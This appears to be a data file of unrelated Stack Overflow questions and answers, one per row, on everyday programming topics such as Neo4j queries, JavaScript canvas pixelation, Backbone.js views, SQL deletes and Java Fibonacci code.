38810345	0	 <p>Keep in mind that the format of neo4j query output is designed for rows with columns, not your desired output format, so this makes things a little tricky.</p> <p>I would highly recommend just outputting your food items on each row, with boolean columns for membership in each distinct simple trait, then in your application code, insert the food objects into sets for each trait. Then using application logic you can calculate all possible combinations of traits you need, and perform set intersection to generate them.</p> <p>This would make the neo4j query very easy:</p> <pre><code>MATCH (f:Food) WITH f RETURN f.name, EXISTS((f)-[:IS]-&gt;(:Trait{name:'tangy'})) AS tangy, EXISTS((f)-[:IS]-&gt;(:Trait{name:'sweet'})) AS sweet, EXISTS((f)-[:IS]-&gt;(:Trait{name:'sour'})) AS sour, EXISTS((f)-[:IS]-&gt;(:Trait{name:'spicy'})) AS spicy </code></pre> <p>That said, if you're determined to do the entire thing with a neo4j query, it's going to be messy, since you'll need to track and generate all the combinations you need yourself. For intersection operations, you'll want to install the <a href="https://neo4j-contrib.github.io/neo4j-apoc-procedures/#_included_procedures_overview" rel="nofollow">APOC procedures library</a>.</p> <p>Seems to me that the best start is to create sets of food nodes according to each individual trait.</p> <pre><code>MATCH (f:Food)-[:IS]-&gt;(:Trait{name:'spicy'}) WITH COLLECT(f) AS spicyFood MATCH (f:Food)-[:IS]-&gt;(:Trait{name:'sour'}) WITH COLLECT(f) AS sourFood, spicyFood MATCH (f:Food)-[:IS]-&gt;(:Trait{name:'sweet'}) WITH COLLECT(f) AS sweetFood, sourFood, spicyFood MATCH (f:Food)-[:IS]-&gt;(:Trait{name:'tangy'}) WITH COLLECT(f) AS tangyFood, sweetFood, sourFood, spicyFood </code></pre> <p>Now that you have these, you can do your intersections with every combination you're interested in.</p> <pre><code>CALL apoc.coll.intersection(tangyFood, sweetFood) YIELD value AS tangySweetFood CALL apoc.coll.intersection(tangyFood, sourFood) YIELD value AS tangySourFood CALL apoc.coll.intersection(tangyFood, spicyFood) YIELD value AS tangySpicyFood CALL apoc.coll.intersection(tangySweetFood, sourFood) YIELD value AS tangySweetSourFood CALL apoc.coll.intersection(tangySweetFood, spicyFood) YIELD value AS tangySweetSpicyFood CALL apoc.coll.intersection(tangySourFood, spicyFood) YIELD value AS tangySourSpicyFood CALL apoc.coll.intersection(tangySweetSourFood, spicyFood) YIELD value AS tangySweetSourSpicyFood CALL apoc.coll.intersection(sweetFood, sourFood) YIELD value AS sweetSourFood CALL apoc.coll.intersection(sweetFood, spicyFood) YIELD value AS sweetSpicyFood CALL apoc.coll.intersection(sweetSourFood, spicyFood) YIELD value AS sweetSourSpicyFood CALL apoc.coll.intersection(sourFood, spicyFood) YIELD value AS sourSpicyFood RETURN tangyFood, sweetFood, sourFood, spicyFood, tangySweetFood, tangySourFood, tangySpicyFood, tangySweetSourFood, tangySweetSpicyFood, tangySourSpicyFood, tangySweetSourSpicyFood, sweetSourFood, sweetSpicyFood, sweetSourSpicyFood, sourSpicyFood </code></pre>
9126857	0	 <p>I corrected this by doing what Roman said, with the code:</p> <pre><code> Camera.Parameters parameters = camera.getParameters(); List&lt;Camera.Size&gt; sizes = parameters.getSupportedPreviewSizes(); Camera.Size cs = sizes.get(0); parameters.setPreviewSize(cs.width, cs.height); camera.setParameters(parameters); </code></pre>
30371033	0	 <p>Store the tile in the array and print it - </p> <pre><code>&lt;?php $video_array = array( array('url' =&gt; 'http://www.youtube.com/embed/rMNNDINCFHg', 'title' =&gt; 'ABC'), array('url' =&gt; 'http://www.youtube.com/embed/bDF6DVzKFFg', 'title' =&gt; 'DSF'), array('url' =&gt; 'http://www.youtube.com/embed/bDF6DVzKFFg', 'title' =&gt; 'RYUY') ); shuffle($video_array); $video = $video_array[0]; ?&gt; &lt;iframe width='1006' height='421' src='&lt;?php echo $video['url']; ?&gt;' title='&lt;?php echo $video['title']; ?&gt;' frameborder='0' allowfullscreen&gt;&lt;/iframe&gt; </code></pre>
4537217	0	 <p>Rather than having the user refresh the entire page, you might consider using <a href="http://en.wikipedia.org/wiki/Ajax_%28programming%29" rel="nofollow">AJAX</a> and provide your own refresh button. It likely will make refreshing quicker as well because the entire page does not have to be reloaded.</p>
25475590	0	 <p>The tricky bit is getting both related records at one time:</p> <pre><code>delete a1 from a a1 where ( a1.pub_cde = 'RTF' and exists ( select 'x' from a a2 where a2.ctm_nbr = a1.ctm_nbr and a2.pub_cde = 'CTR' and a2.itg = 2 * a1.itg ) ) or ( a1.pub_cde = 'CTR' and exists ( select 'x' from a a2 where a2.ctm_nbr = a1.ctm_nbr and a2.pub_cde = 'RTF' and a2.itg * 2 = a1.itg ) ); </code></pre> <p><a href="http://sqlfiddle.com/#!3/10f7e/3" rel="nofollow">Example SQL Fiddle</a></p>
8148629	0	Intent filter to download attachment from gmail apps on Android <p>I have android application with intent filter (ACTION_VIEW) to open file and import it into my application. I wish to download file attachment from gmail app into my application. Some of file type (i.e. jpg, png, txt) are saved correctly, but some are not (i.e doc, xls, ppt). I believe I have the correct intent filter for my activity since it works from other app (i.e. dropbox), but not gmail app. Is there any solution for this ? </p>
12012058	0	 <p>Yes, the question sets used for both exams are identical and the Sierra/Bates book is good preparation material. In order to prepare even better, I would advise to take some mock tests first. There is a large number of free ones on the net.</p> <p>EDIT: as to the naming ambiguities - the certificate was issued by Sun Microsystems and called <a href="http://en.wikipedia.org/wiki/SCJP#Sun_Certified_Java_Programmer_.28SCJP.29">SCJP - <strong>Sun Certified Java Programmer</strong></a>. After Oracle acquired Sun in early 2010 (the agreement has been signed in 2009), the certificate has been officially renamed to <strong>Oracle Certified Professional Java SE Programmer</strong> or OCPJP. Many people continue to call it SCJP though.</p>
5698592	0	 <p>You're probably getting that error because you are calling the theme file directly </p> <p>OR</p> <p>because you aren't incuding the header and footer of the page.</p> <p>Easy Solve:</p> <p>Make sure the page loads as wanted. If you dont want to include the header and all that junk, you can load a fragment with jQuery doing something like this:</p> <pre><code> .load('wp-content/themes/theme/reloadhomeposts.php #postWrapper', function() { $(this).removeClass('loading') }); </code></pre>
23793046	0	Pixelate images when hovering over parent div using javascript <p>Searching around for ways to do this, I found a couple good explanations out there, and ended up combining them. I had everything working fine when I was just doing the hover effect when mousing over the image itself, but when trying to make it work when hovering over the "profile" div seems to have caused some problems. Currently, it will sometimes also be pixelated when not over the div, so it remains somewhere between the mouseover and mouseout states.</p> <h2>HTML</h2> <p>In the HTML, I'm creating a filterable directory of people using isotope that contains a bunch of blocks like this:</p> <pre><code>&lt;div class="item profile p-1 undergrad research"&gt; &lt;div class="profile-image"&gt; &lt;img src="img.jpg"&gt; &lt;/div&gt; &lt;div class="profile-text"&gt; &lt;h1&gt;Name&lt;/h1&gt; &lt;h2&gt;Position&lt;/h2&gt; &lt;p&gt; Email:email@gmail.com&lt;br&gt; Phone: 123.345.6567&lt;br&gt; Office: 2818 &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <h2>Javascript</h2> <p>I'm using javascript to handle the pixelation stuff right now, but to be honest I'm a lot more familiar and comfortable with Jquery, so this has been a struggle and learning experience. Below is the whole code, but I'll explain what I changed that started my issues.</p> <p>Originally, "items" in setup was taking <em>.profile-image</em> objects, and I changed that to <em>.profile</em> objects so I could use the ".profile" div as the object with the mouseover event listener. At this point I introduced <em>"block"</em>, which i switched the event listeners to from <em>"element"</em>. </p> <pre><code>// Most of the structure taken from Noel Delgado // @pixelia_me =&gt; http://codepen.io/noeldelgado/pen/FmEBh // The actual pixelation taken from Ken Fyrstenberg Nilsen // http://jsfiddle.net/AbdiasSoftware/QznT7/ // http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/ /* ** ======================================================================= ** Animation ** ======================================================================= */ var lastTime = 0; var vendors = ['webkit', 'moz']; for(var x = 0; x &lt; vendors.length &amp;&amp; !window.requestAnimationFrame; ++x) { window.requestAnimationFrame = window[vendors[x]+'RequestAnimationFrame']; window.cancelAnimationFrame = window[vendors[x]+'CancelAnimationFrame'] || window[vendors[x]+'CancelRequestAnimationFrame']; } if (!window.requestAnimationFrame) window.requestAnimationFrame = function(callback, element) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout(function(){callback(currTime + timeToCall);}, timeToCall); lastTime = currTime + timeToCall; return id; }; if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function(id) { clearTimeout(id); }; /* ** ======================================================================= ** Pixelation ** ======================================================================= */ /*============================="Setup"===============================*/ var PIXELATION = 36,//The value when hovering. Lower numbers are more pixelated, while 100 is not at all speed = 4,//How quickly it animates. play = false;//Is the animation "playing"? var items = document.querySelectorAll('.profile'),//The parent of everything. _objs = [];//Array that will be filled with our images /*===================Images Object "Class Constructor"=====================*/ var Images = function( block, element, image, canvas, context ) { this.block = block; this.element = element; this.image = image; this.canvas = canvas; this.context = context; this.pixelation = 100; } //Called by Array.prototype.slice Images.prototype.bindLoad = function() { var obj = this; this.image.onload = function() { obj.reportLoad.call(obj); }; if ( this.image.complete ) { this.image.onload(); } } //Called by Images.prototype.bindLoad Images.prototype.reportLoad = function() { var obj = this; size = (play ? v : 100) * 0.01, w = this.width * size; h = this.height * size; this.imageWidth = this.canvas.width = this.image.width; this.imageHeight = this.canvas.height = this.image.height; this.context.drawImage(this.image, 0, 0, w, h); this.context.drawImage(this.image, 0, 0, w, h, 0, 0, this.element.width, this.element.height); //Turn off image smoothing so we get the pixelated effect this.context.mozImageSmoothingEnabled = false; this.context.webkitImageSmoothingEnabled = false; this.context.imageSmoothingEnabled = false; this.block.addEventListener('mouseover', function() { obj.mouseOver(); }, false); this.block.addEventListener('mouseout', function() { obj.mouseOut(); }, false); } /*=====================Images Object MouseOver Function======================*/ Images.prototype.mouseOver = function() { var obj = this, play = true; cancelAnimationFrame( obj.idUndraw ); var draw = function() { if ( obj.pixelation &lt;= PIXELATION ) { play = false; cancelAnimationFrame( obj.idDraw ); obj.pixelation = PIXELATION; } else { obj.pixelate( obj.imageWidth, obj.imageHeight, 0, 0 ); obj.idDraw = requestAnimationFrame( draw, obj.context ); } }; obj.idDraw = requestAnimationFrame( draw, obj.context ); } /*====================Images Object MouseOut Function==================*/ Images.prototype.mouseOut = function() { var obj = this, play = true; cancelAnimationFrame( obj.idDraw ); var undraw = function() { if ( obj.pixelation &gt; 98 ) { //New Code play = false;//New Code cancelAnimationFrame( obj.idUndraw ); obj.pixelation = 98; } else { obj.depixelate( obj.imageWidth, obj.imageHeight, 0, 0 ); obj.idUndraw = requestAnimationFrame( undraw, obj.context ); } }; obj.idUndraw = requestAnimationFrame( undraw, obj.context ); } /*=================Images Object Pixelation Calculation===================*/ //Called by Images.prototype.pixelate &amp; depixelate Images.prototype.setPixels = function() { size = this.pixelation * 0.01; w = this.image.width * size; h = this.image.height * size; this.context.drawImage(this.image, 0, 0, w, h); this.context.drawImage(this.canvas, 0, 0, w, h, 0, 0, this.canvas.width, this.canvas.height); } /*====================Images Object Pixelation Methods=====================*/ //Called by Images.prototype.mouseOver Images.prototype.pixelate = function() { this.pixelation -= speed; this.setPixels(); } //Called by Images.prototype.mouseOut (Line 113) Images.prototype.depixelate = function() { this.pixelation += speed; this.setPixels(); } /*=============================Create Array of images=====================*/ //It all seems to start here. Don't really know how this gets called //though unfortunately... Array.prototype.slice.call(items, 0).forEach(function(el, i) { var block = el, element = el.querySelector('.profile-image'), image = element.querySelector('img'), canvas = document.createElement('canvas'), context = canvas.getContext('2d'); element.appendChild( canvas ); _objs.push( new Images( block, element, image, canvas, context ) ); _objs[i].bindLoad(); }); </code></pre>
14568430	0	 <p>Caching large objects in NoSQL stores is generally not a good idea, because it is expensive in term of memory and network bandwidth. I don't think NoSQL solutions shine when it comes to storing large objects. Redis, memcached, and most other key/value stores are clearly not designed for this.</p> <p>If you want to store large objects in NoSQL products, you need to cut them in small pieces, and store the pieces as independent objects. This is the approach retained by 10gen for gridfs (which is part of the standard MongoDB distribution):</p> <p>See <a href="http://docs.mongodb.org/manual/applications/gridfs/" rel="nofollow">http://docs.mongodb.org/manual/applications/gridfs/</a></p> <p>To store large objects, I would rather look at distributed filesystems such as:</p> <ul> <li><a href="http://ceph.com/" rel="nofollow">Ceph</a></li> <li><a href="http://www.gluster.org/" rel="nofollow">GlusterFS</a></li> <li><a href="http://doc.mapr.com/display/MapR/Architecture+Guide" rel="nofollow">MapR-FS</a></li> </ul> <p>These systems are scalable, highly available, and provide both file and object interfaces (you probably need an object interface). You can also refer to the following SO question to choose a distributed filesystem.</p> <p><a href="http://stackoverflow.com/questions/269179/best-distributed-filesystem-for-commodity-linux-storage-farm">Best distributed filesystem for commodity linux storage farm</a> </p> <p>Up to you to implement a cache on top of these scalable storage solutions.</p>
40428530	0	 <p>Sorry, no built-in support for volumes. Feel free to raise an issue here: <a href="https://github.com/spring-cloud/spring-cloud-deployer-kubernetes/issues" rel="nofollow noreferrer">https://github.com/spring-cloud/spring-cloud-deployer-kubernetes/issues</a></p>
14252678	0	Backbone.js per attribute rendering (multiple small views vs multiple templates per view ) <p>I have a model and a view. The view displays attributes of a model and allows the user to manipulate these attributes. The problem is that when an attribute is modified it re-renders the whole view which causes a lot of problems for me.</p> <p><em>Example blur event on a text input saves the new input to an attribute and thus fires render. Which means that if the user clicked from that text input straight to a button on the same view that event will never fire as the first event that fires will be blur causing the whole view to re-render and thus losing the button click event.</em></p> <p>I have two ideas:</p> <ol> <li>Have a single view where every attribute is in a separate template. Then I bind to a particular attribute change event and in render I update only the html of the changed attribute. This seems like a hack, as there is a lot of work to force the view to update only the changed attribute. It will add a lot of unnecessary complexity to an already complex view.</li> <li>Create a master view which consists of views, where each of them represents a model's attribute. This will create a lot of views, with nearly no functionality. </li> </ol> <p>I seem to prefer the 2. option. What do you think? What are the best practices? Is there any better way to handle this?</p>
7863384	0	 <p>It means just what it says. The value being passed to the <code>text</code> method is the result of the expression <code>350 - ta.va().length</code>. The variable <code>ta</code> has not been defined at the point this code is being run.</p> <p>A few things to note before my proposed solution.</p> <ol> <li>You are correct in responding to the keypress event to truncate the user input, but there is no need to use an interval to update the count - just update it in the event handler.</li> <li>Don't put the function passed to <code>setInterval</code> in quotes. This causes it to be run through <code>eval</code>, which is both slower and less secure.</li> <li>Save jQuery objects in variables outside of the event handler so the same objects can be used each time the handler is invoked. This uses less memory and should be a tiny bit faster.</li> </ol> <p>Here's how I would implement this:</p> <pre><code>$(function () { var ta = $(".txtclass"), counter = $("#counter span"); ta.keypress(function () { var taValue = ta.val(); if (taValue.length &gt;= 350) { taValue = ta.val(taValue.slice(0, 350)).val(); } counter.text(taValue.length); }); }); </code></pre>
21674245	0	 <p>You can store a reference to the previously opened paragraph and hide it before displaying a new one. This has the advantage of being quicker if you have lots of paragraphs.</p> <pre class="lang-js prettyprint-override"><code>// My function to open and close the p tag var para = null var evtDelegation = function(evt){ var target = evtUtility.getTarget(evt); if(target.nodeName.toLowerCase() === 'h1'){ if(para !== null) { para.style.display = 'none'; } para = evtUtility.nextSiblings(target); para.style.display = 'block'; }; }; evtUtility.addEvent(document, 'click', evtDelegation); </code></pre> <p><a href="http://jsfiddle.net/dHUPg/" rel="nofollow">http://jsfiddle.net/dHUPg/</a></p>
29311392	0	 <p>Here is the list of valid timezones:</p> <p><a href="http://en.wikipedia.org/wiki/List_of_tz_database_time_zones">http://en.wikipedia.org/wiki/List_of_tz_database_time_zones</a></p> <p>You can use</p> <pre><code>TIME_ZONE = 'Europe/Istanbul' </code></pre> <p>for UTC+02:00</p>
35278266	0	 <p>I would use a regular expression on that, that looks like this:</p> <pre><code>(\d+) ([\d.:]+) (\d+) (\d+)\([^)]+\) (.*) </code></pre> <p>combined with <a href="http://php.net/manual/de/function.preg-match-all.php" rel="nofollow"><code>preg_match_all</code></a> in PHP like that:</p> <pre><code>preg_match_all('#(\d+) ([\d.:]+) (\d+) (\d+)\([^)]+\) (.*)#', $players, $matches); </code></pre>
2544548	0	 <p>Is it fair to assume that you control the types which have "CustomPropertyOfControl"? If so, make them all implement an interface, and cast to that interface.</p> <p>The point of a cast is to tell the compiler something you know that it doesn't - <em>at compile time</em>. Here you don't know the type at compile time. If you know some base class or interface, then you can tell the compiler <em>that</em> with no problem.</p> <p>Now in C# 4 you <em>could</em> do this using dynamic typing:</p> <pre><code>private void ConvertToTypeAndUseCustomProperty(Control c) { dynamic d = c; d.CustomPropertyOfControl = 234567; } </code></pre> <p>However, even though you <em>can</em> do this, I'd still recommend sticking with static typing if at all possible - if you've got a group of types which all have some common functionality, give them a common interface.</p>
27750633	0	Edit read-only file in java <p>I have a protect, read-only, text file on my Linux operating system that I have to make edits to. Of course I can goto the terminal and type:</p> <pre><code>sudo gedit /etc/ppp/options </code></pre> <p>I would then have to type my sudo password. My question is how do I give my java program "sudo" privileges to be able to write to this file and save those edits? I figured once I have given the program these privileges I could then use a BufferedWriter or PrintWriter to make edits.</p> <p>To clarify, my program prompts the user for their administrative (sudo) password. How could I use this to grant access to this file for writing purposes?</p>
8956942	0	 <p>I would suggest you to use CRON if you need to start a process on a time basis.</p>
36652205	0	Take let variable out of temporal dead zone <p>See this code:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script&gt; let {foo} = null; // TypeError &lt;/script&gt; &lt;script&gt; // Here I want to assign some some value to foo &lt;/script&gt;</code></pre> </div> </div> </p> <p>The first script attempts to let-declare <code>foo</code> via a destructuring assignment. However, <code>null</code> can't be destructured, so the assignment throws a TypeError.</p> <p>The problem is that then the <code>foo</code> variable is declared but uninitialized, so if in the 2nd script I attempt to reference <code>foo</code>, it throws:</p> <pre><code>foo = 123; // ReferenceError: can't access lexical declaration `foo' before initialization </code></pre> <p>And <code>let</code> variables can't be redeclared:</p> <pre><code>let foo = 123; // SyntaxError: redeclaration of let foo </code></pre> <p>Is there any way to take it out of the TDZ, so that I can assign values and read them?</p>
38585109	0	 <p>As the <code>rle</code> is a <code>list</code> object with <code>lengths</code> and <code>values</code> as elements of the <code>list</code>, we can extract the <code>lengths</code> and <code>sum</code></p> <pre><code>sum(b$lengths) #[1] 10 </code></pre>
20380699	0	 <p>Can you try using,</p> <p><code>$delete = "DELETE from $table_name where $key = '".$value."' ";</code></p> <p>instead of </p> <p><code>$delete = "DELETE from $table_name where $key = $value";</code></p>
27186994	0	 <p>You would need the parameter pass to <code>Destruir</code> to be a <code>var</code> parameter so that the modification you make to the passed argument to modify the passed variable, rather than a local copy of it.</p> <pre><code>procedure TForm1.Destruir(var aForm: TForm); begin FreeAndNil(aForm); end; </code></pre> <p>Of course, this function is a little needless since you may as well just call <code>FreeAndNil</code> directly instead of calling <code>Destruir</code>.</p>
22422615	0	 <p>The best practice here would be to use two different stages.</p> <p>Using two stages will simplify design in sense that the viewport management for 2d animation will simplify by a considerable amount. Also the event handling has to be completely different style. Your information panel won't have much relative layout changes in actors as compared to 2d animation.</p> <p>Using same stage would make sense only if both contents overlap each other in some form. I'm sure this is not the case here. Your info panel will always be ABOVE animation (most probably).</p> <p>Hope this helps.</p>
27819078	0	 <p>Thanks all for trying to help me! However, the solution is to do so in the code:</p> <pre><code>System.setProperty("com.siebel.management.jmxapi.cfgFileName", "C:\\siebelmonitor\\1srvr.xml"); </code></pre>
34876614	0	 <p>First of all you need to tell where are you writing this code. Don't mind but your code looks like not as it should be: 1- Which version are you using (Yii1 | Yii2)? I guess Yii1</p> <p>if you are using yii1 and you want to perform this stuff under profile update Action. </p> <p>so lets consider "profile/update" Action. so there will be some thing like below under "ProfileController". </p> <pre><code>public function actionUpdate(){ //some thing will be placed here.... } </code></pre> <p>There are 2 ways to do it. one just do it along with the controller or user Hooks (recommended) so it will be under "Model afterSave" hook. some thing like that. you can use any extension / component / widget.</p> <p><a href="http://www.yiiframework.com/extension/paypal/" rel="nofollow">Paypal Extension</a> can tell you how you can do it .</p>
3479298	0	 <p>Not sure if this is the same 'MIRTH', but here is an entire community around it</p> <p><a href="http://www.mirthcorp.com/community/forums/index.php?s=b6990e9fe7bf68731f7075bd1412f336" rel="nofollow noreferrer">http://www.mirthcorp.com/community/forums/index.php?s=b6990e9fe7bf68731f7075bd1412f336</a></p> <p>I have never used MIRTH, but this looks promising ...</p>
5095992	0	 <p>The follows will give you the amount in <code>$matches[2]</code>, and the currency symbol or alpha representation will always be in <code>$matches[1]</code> or <code>$matches[3]</code></p> <pre><code>$values = array("$5.00", "€1.23", "£1,323.45", "1.23USD"); foreach($values as $val) { preg_match("/([^0-9.,]*)([0-9.,]*)([^0-9.,]*)/", $val, $matches); print_r($matches); } </code></pre>
30875815	0	Resize HDF5 dataset in Julia <p>Is there a way to resize a chunked dataset in HDF5 using Julia's HDF5.jl? I didn't see anything in the documentation. Looking through the source, all I found was <code>set_dims!()</code>, but that cannot extend a dataset (only shrink it). Does HDF5.jl have the ability to enlarge an existing (chunked) dataset? This is a very important feature for me, and I would rather not have to call into another language.</p>
40166634	0	leaflet - how to add a handler with cycle behavior? <p>I've followed handler tutorial on <a href="http://leafletjs.com/examples/extending/extending-3-controls.html" rel="nofollow">http://leafletjs.com/examples/extending/extending-3-controls.html</a>.</p> <p>I can do handler that do something on event ('mouseover', etc...) but I don't find a way to do something every 100ms. I have tried to use setTimeout/setInterval but I can't catch 'this' because window object throw the event. </p> <p>I didn't found something about that in documentation, nor in github. Is there such mecanism in leaflet ?</p> <p>Anybody could help me ?</p> <p>Thx</p>
909600	0	 <p>Is'nt this the sort of this that RemObjects is good at? Bri</p>
10955497	0	 <p>Adding my solution as answer, per halfer's advice: Solved this one, because I was passing the content to Zend_Pdf as a string, i should have been using Zend_Pdf::parse($new_pdf);, as it very likely says in the manual. (oops)</p> <p>Further; I solved pretty much ALL of my problems with digitally signing PDFs of various versions and form constituents by moving to TCPDF, as several of the articles here suggest. A similar caveat was met with TCPDF though, when using strings, ensure that you are using TCPDF's 'writeHTMLCell' instead of 'writeHTML'. And watch for PHPs 'magic_quotes', errant whitespace, encoding, and goblins.</p>
13791014	0	Some Fibonacci FUN in Java <p>I'm having a little trouble with a problem in my intro to java book. Here is the situation: A user must input a Number, after that I must find the Fibonacci of that number. I am given this equitation for listing the numbers(see code). While yes i got that working i am wondering how i go about calculating my Fibonacci from that. oh and on a side note "Notepad ++" yells at me for not having a "public static void main(Strings[] args)". Is there a work around for that?</p> <pre><code>public class Fibonacci { public static void main(String[] args) { } public int Fib(int n) { FibonacciJDialog userInput = new FibonacciJDialog(); int in1=1,in2=1; int sum=1;//initial value int index; index = userInput.getUserInput(); while (index &lt;= n) { sum = in1+in2;// sum=the sum of 2 values; in1=in2;// in1 gets in2 in2 = sum;// in2 gets sum index++;// increment index } return sum; } } </code></pre>
3316261	0	prevent long running averaging from overflow? <p>suppose I want to calculate average value of a data-set such as</p> <pre><code>class Averager { float total; size_t count; float addData (float value) { this-&gt;total += value; return this-&gt;total / ++this-&gt;count; } } </code></pre> <p>sooner or later the <code>total</code> or <code>count</code> value will overflow, so I make it doesn't remember the total value by :</p> <pre><code>class Averager { float currentAverage; size_t count; float addData (float value) { this-&gt;currentAverage = (this-&gt;currentAverage*count + value) / ++count; return this-&gt;currentAverage; } } </code></pre> <p>it seems they will overflow longer, but the multiplication between <code>average</code> and <code>count</code> lead to overflow problem, so next solution is:</p> <pre><code>class Averager { float currentAverage; size_t count; float addData (float value) { this-&gt;currentAverage += (value - this-&gt;currentAverage) / ++count; return this-&gt;currentAverage; } } </code></pre> <p>seems better, next problem is how to prevent <code>count</code> from overflow?</p>
36764398	0	 <p>It turns out this issue didn't have anything to do with the APIs or how they were being used. It looks like the encoder used to create the video segments were creating errors in the resulting files.</p> <p>The errors reported by ffprobe are like:</p> <pre><code>[h264 @ 00000249a4348980] decode_slice_header error [h264 @ 00000249a4348980] no frame! [h264 @ 00000249a4348980] non-existing PPS 0 referenced </code></pre> <p>I'm not sure what the original tool was that was used to create the video segments I was using, but I've verified that Apple's mediafilesegmenter also causes errors.</p> <p>I solved the error by encoding the segments using ffmpeg.</p>
24575977	0	Flow 3 machines 2 manipulators <p>I have 3 machines <code>Mach1</code>, <code>Mach2</code>, <code>Mach3</code> and 2 manipulators <code>Man1</code>, <code>Man2</code></p> <p><code>Man1</code> handles <code>Mach1</code> and <code>Mach3</code></p> <p><code>Man2</code> handles <code>Mach2</code> and <code>Mach3</code>, so there is one common Machine</p> <p>each Machine has cycle time <code>Tmach</code>, each manipulator has service time <code>Tservice</code>.</p> <p>Service times often differs due to some problems during servicing etc.</p> <p>Machine cycle times are in most cases constant, but they are unknown at the start of system.</p> <p><strong>The question is:</strong> How to optimize flow for this system? What algorithms can be used? Each reference is valuable, but the best is pseudo code.</p> <p>Stupid solution for the problem is: Start <code>Man1</code> handle <code>Mach3</code>, <code>Man2</code> handle <code>Mach2</code> then <code>Man1</code> handle <code>Mach1</code> and <code>Man2</code> handle <code>Mach3</code> and so on...</p> <p>It is quite ok, but when handling times starts to differ, flow is not optimal.</p> <p>//Edit thanks @j_random_hacker for questions that helps to specify problem more clearly</p> <p>Manipulator is for example industrial robot</p> <p>Cycle time means time of processing part on a machine</p> <p>Service time means time in which robot handles machine it can differ due to waiting for part to be loaded, positioning part etc.</p> <p>Each machine is the same, but manipulators can reach only specified machines</p> <p>Jobs are qued so there are always jobs to be done Each job is processed in one cycle Processing can not and must not be splited</p>
20165275	0	 <p>See the documentation of Math.log : <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/log" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/log</a></p> <p>For further help you should ask your math teacher or someone who knows about algorithms ;-P</p> <p>maybe you should see the part: <code>((b*c-a*d)/(c*c)*(Math.log(Math.abs(c*Xp+d))))</code> Maye you want to have the braces done like <code>(x/(z*y))</code> or <code>((x*y)/z)</code>.</p>
34662260	0	 <pre><code>var arraySearch = function (subArray,array ) { var i = -1; return subArray.every(function (v) { if(i != -1) { i++; return (array.indexOf(v) === i) } i = array.indexOf(v); return i &gt;= 0; }); }; var arr = [1,3,4,5,9]; console.log(arraySearch([4,5],arr)) </code></pre>
7086236	0	Possible to detect bit errors in memory in software? <p>A friend and I were curious as to whether you could detect levels of ionizing radiation by looking at rates of single bit errors in memory. I did a little research and I guess most errors are caught and fixed at the hardware level. Would there be any way to detect errors in software (say, in c code on a pc)?</p>
40101080	0	 <p>Yor problem is here: <code>$message = wordwrap($message, 70, "\r\n");</code> you neet to add <code>.=</code> <br><br> It is the same as <code>$message = $message . "wordwrap($message, 70, "\r\n")";</code></p>
2984603	0	 <p><a href="http://tutorialzine.com/2010/03/who-is-online-widget-php-mysql-jquery/" rel="nofollow noreferrer">This is good tutorial.</a> Note that mysql (i believe youll use it) online users table should be typed as MEMORY.</p>
37263185	0	 <p>I humbly propose that you're using the wrong data structure. Notice that if you have an array column that has unique values between 1 and N (an index column) you could encode the same data simply by re-ordering your other columns. Once you're re-ordered your data, not only can you drop the "index" column but now it becomes easier to operate on the remaining data. Let me demonstrate:</p> <pre><code>import numpy as np N = 5 a = np.array([[1, 5], [2,6], [3,3], [4,2]]) b = np.array([[3, 1], [4,2], [1,8], [2,4]]) a_trans = np.ones(N) a_trans[a[:, 0]] = a[:, 1] b_trans = np.ones(N) b_trans[b[:, 0]] = b[:, 1] c = a_trans / b_trans print c </code></pre> <p>Depending on the nature of your problem, you can sometimes use an implicit index from the beginning, but sometimes an explicit index can be very useful. If you need an explicit index, consider using something like <code>pandas.DataFrame</code> with better support for index operations.</p>
34956492	0	using pusher npm in reactnative app <p>I'm trying to get a basic reactnative app with chat feature going. Found a pusher npm on <a href="https://www.npmjs.com/package/pusher" rel="nofollow">https://www.npmjs.com/package/pusher</a></p> <p>Did install the module to the project with:</p> <pre><code>npm install pusher --save </code></pre> <p>As soon as I add to a react component following line of code</p> <pre><code>var Pusher = require('pusher'); </code></pre> <p>the xcode project stops compiling with following stack trace:</p> <pre><code>bundle: Created ReactPackager uncaught error Error: UnableToResolveError: Unable to resolve module crypto from /Users/dmitry/hacks/tentags/TenTags/node_modules/request/lib/helpers.js: Invalid directory /Users/node_modules/crypto at ResolutionRequest.js:356:15 at tryCallOne (/Users/dmitry/hacks/tentags/TenTags/node_modules/promise/lib/core.js:37:12) at /Users/dmitry/hacks/tentags/TenTags/node_modules/promise/lib/core.js:123:15 at flush (/Users/dmitry/hacks/tentags/TenTags/node_modules/asap/raw.js:50:29) at nextTickCallbackWith0Args (node.js:452:9) at process._tickCallback (node.js:381:13) See logs /var/folders/gq/zxnwqjwd75d_2rhgbzzc_0n00000gn/T/react-packager.log at SocketClient._handleMessage (SocketClient.js:139:23) at BunserBuf.&lt;anonymous&gt; (SocketClient.js:53:42) at emitOne (events.js:77:13) at BunserBuf.emit (events.js:169:7) at BunserBuf.process (/Users/dmitry/hacks/tentags/TenTags/node_modules/bser/index.js:289:10) at /Users/dmitry/hacks/tentags/TenTags/node_modules/bser/index.js:244:12 at nextTickCallbackWith0Args (node.js:452:9) at process._tickCallback (node.js:381:13) Command /bin/sh failed with exit code 1 </code></pre> <p>What am I doing wrong? Is pusher npm only meant to work in react.js web apps? Can I not use pusher npm as is in ractnative app? I know, maybe naive questions, but I'm very new to reactnative and the whole JS, Node, npm business. </p>
3684933	0	 <p>SVN supports multiple protocols for accessing repositories, including HTTP, SSH, and even its own SVN protocol. Port 3690 is the default port for the SVN protocol. You can specify the protocol to use in the repository URL. For example. http:// or svn://.</p> <p>To use ssh, try using something like: svn+ssh://username@hostname/path/to/repository</p> <p>Search for "ssh" in TortoiseSVN help for more information.</p>
14823269	0	 <p>Yes, you're correct that sadly Intellisense is gone for C++/CLI in VS 2010. It's back in VS 2012 and for VS 2010, I recommend <a href="http://www.wholetomato.com" rel="nofollow">Visual Assist</a> if you can afford it.</p>
